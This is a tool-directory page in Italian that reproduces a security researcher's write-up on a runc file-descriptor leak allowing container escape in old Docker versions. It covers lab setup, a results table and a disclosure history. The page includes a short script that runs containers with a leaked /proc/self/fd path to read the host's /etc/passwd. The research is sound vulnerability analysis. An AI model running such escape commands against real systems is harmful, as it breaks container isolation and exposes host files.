Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/sk3pper/cve-2024-21626-old-docker-versions
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitApprendimento e FormazioneEscape dal ContainerLab e Pratica
GitHubsk3pper/cve-2024-21626-old-docker-versions

CVE-2024-21626-old-docker-versions

Analizza e sfrutta una vulnerabilità di fuga dal container nelle versioni legacy di Docker/runc, dimostrando la perdita di file descriptor (fd) per accedere al filesystem dell'host, con script di configurazione e test.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
61 anno faNon ancora revisionato

Vulnerabilità di escape del container in vecchi componenti runc (CVE-2024-21626)

Durante la mia analisi su CVE-2024-21626 ho scoperto che altri vecchi componenti Docker sono vulnerabili a fd leakage (non menzionato nell'avviso di sicurezza GHSA-xr7r-f8xq-vfvv). Leggi il mio articolo completo per una spiegazione dettagliata qui.

1. Configurazione dell'ambiente 🔨

A. Scaricare e installare Ubuntu 18.04.6 LTS (Bionic Beaver)

Durante l'installazione non selezionare la casella per scaricare gli aggiornamenti di sistema.

B. Installare la versione vulnerabile di Docker e i relativi componenti

  • Vai su https://download.docker.com/linux/static/stable/x86_64/ e scarica la vecchia versione docker-X.Y.Z-ce.tgz per testare

  • Estrailo, copia il contenuto nel percorso /usr/bin ed esegui il demone Docker.

    root@kitploit:~
    cd Downloads/
    tar xzvf <docker-X.Y.Z-ce.tgz>
    sudo cp docker/* /usr/bin/
    sudo dockerd &
    

C. Verificare le versioni installate

root@kitploit:~
sudo docker version
containerd --version
uname -r

Nelle vecchie versioni abbiamo docker-runc invece di runc. Quindi verificalo:

root@kitploit:~
ls -la /usr/bin | grep docker
    -rwxr-xr-x  1 root root    14128576 mar 19 10:54 docker
    -rwxr-xr-x  1 root root     8932648 mar 19 10:54 docker-containerd
    -rwxr-xr-x  1 root root     8381448 mar 19 10:54 docker-containerd-ctr
    -rwxr-xr-x  1 root root     3047368 mar 19 10:54 docker-containerd-shim
    -rwxr-xr-x  1 root root    39989264 mar 19 10:54 dockerd
    -rwxr-xr-x  1 root root      772400 mar 19 10:54 docker-init
    -rwxr-xr-x  1 root root     2534781 mar 19 10:54 docker-proxy
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc

ls -la /usr/bin| grep runc
    -rwxr-xr-x  1 root root       10232 mar 18  2018 bdftruncate
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc
    -rwxr-xr-x  1 root root       35000 gen 18  2018 runcon
    -rwxr-xr-x  1 root root       39096 gen 18  2018 truncate

Verifica la versione di doker-runc/runc

root@kitploit:~
runc --version
docker-runc -v

2. Verificare se il target è vulnerabile e trovare il fd giusto 🧐

Esegui checkVulnerability.sh e verifica se il file viene stampato nel terminale

root@kitploit:~
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
    sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
    echo ""
done
root@kitploit:~
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

Per questo esempio ho usato la versione docker-17.03.1-ce. check vulnerability & find fd

3. Provare l'exploit 🔫

Per questo esempio ho usato la versione docker-17.03.1-ce.

exploit

4. Risultati dei test 🧪

Di seguito i risultati della mia analisi, organizzati per versione Docker e la versione runc associata utilizzata.

docker-runc

runc

Versione Dockerversione runcNumero fd leakato
docker-18.09.0.tgz1.0.0-rc5+dev❌

Ecco lo screenshot che mostra le tre diverse versioni vulnerabili.

1.0.0-rc21.0.0-rc31.0.0-rc4+dev
1.0.0-rc21.0.0-rc31.0.0-rc4

Come per CVE-2024-21626, i diversi tipi di attacco sono ancora possibili.

5. Conclusione e insegnamenti 🔚

Questa vulnerabilità è molto diversa da CVE-2024-21626 perché:

  1. Può essere attivata in versioni più vecchie di Linux che non hanno la syscall openat2.
  2. Il descrittore di file leakato si trova nel percorso /run/runc/<container>/, che contiene lo stato dei container in esecuzione, anziché nella directory /sys/fs/cgroup dell'host.

Quello che ho scoperto è che anche le versioni più vecchie sono vulnerabili alla stessa tecnica di attacco. Sebbene la vulnerabilità stessa sia diversa, il risultato è lo stesso: ottenere accesso al filesystem host. Il punto chiave è non fare affidamento solo sugli advisory di sicurezza: testare tutto a fondo. Capire a fondo la CVE, come funziona, sperimentare in un ambiente sicuro ed esplorare i casi limite.

6. Divulgazione responsabile 🕺🏻

Ho provato a contattare [email protected], [email protected] e ho cercato di aprire un CVE. Ho ricevuto le seguenti risposte:

Scarica lo strumento
Versione Dockerversione docker-runcNumero fd leakato
docker-17.03.1-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.03.2-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.06.0-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.1-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.2-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.09.0-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.09.1-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.12.0-ce.tgz1.0.0-rc4+dev❌
docker-17.12.1-ce.tgz1.0.0-rc4+dev❌
docker-18.03.0-ce.tgz❌
docker-18.06.3-ce.tgz1.0.0-rc5+dev❌
RichiestaRisposta
[email protected] (19/03/24)Le versioni che hai elencato sono tutte versioni EOL del software (~7 anni) e non sono più corrette o mantenute da Docker. Se hai una preoccupazione riguardo le versioni o la formulazione elencate nell'avviso GHSA-xr7r-f8xq-vfvv esistente ("versioni interessate: >= 1.0.0-rc93, <= 1.1.11"), allora il canale corretto per segnalarlo dovrebbe essere la casella di sicurezza OCI: https://github.com/opencontainers/.github/blob/main/SECURITY.md Grazie per averci contattato. Facci sapere se possiamo fare altro.
[email protected] (20/03/24)nessuna risposta
CVE-MITRE (15/05/2024)Normalmente non assegniamo ID CVE a problemi che esistono solo in release candidate. https://www.cve.org/CVERecord?id=CVE-2024-21626 ha interessato versioni rilasciate di runc, come la release 1.1.11.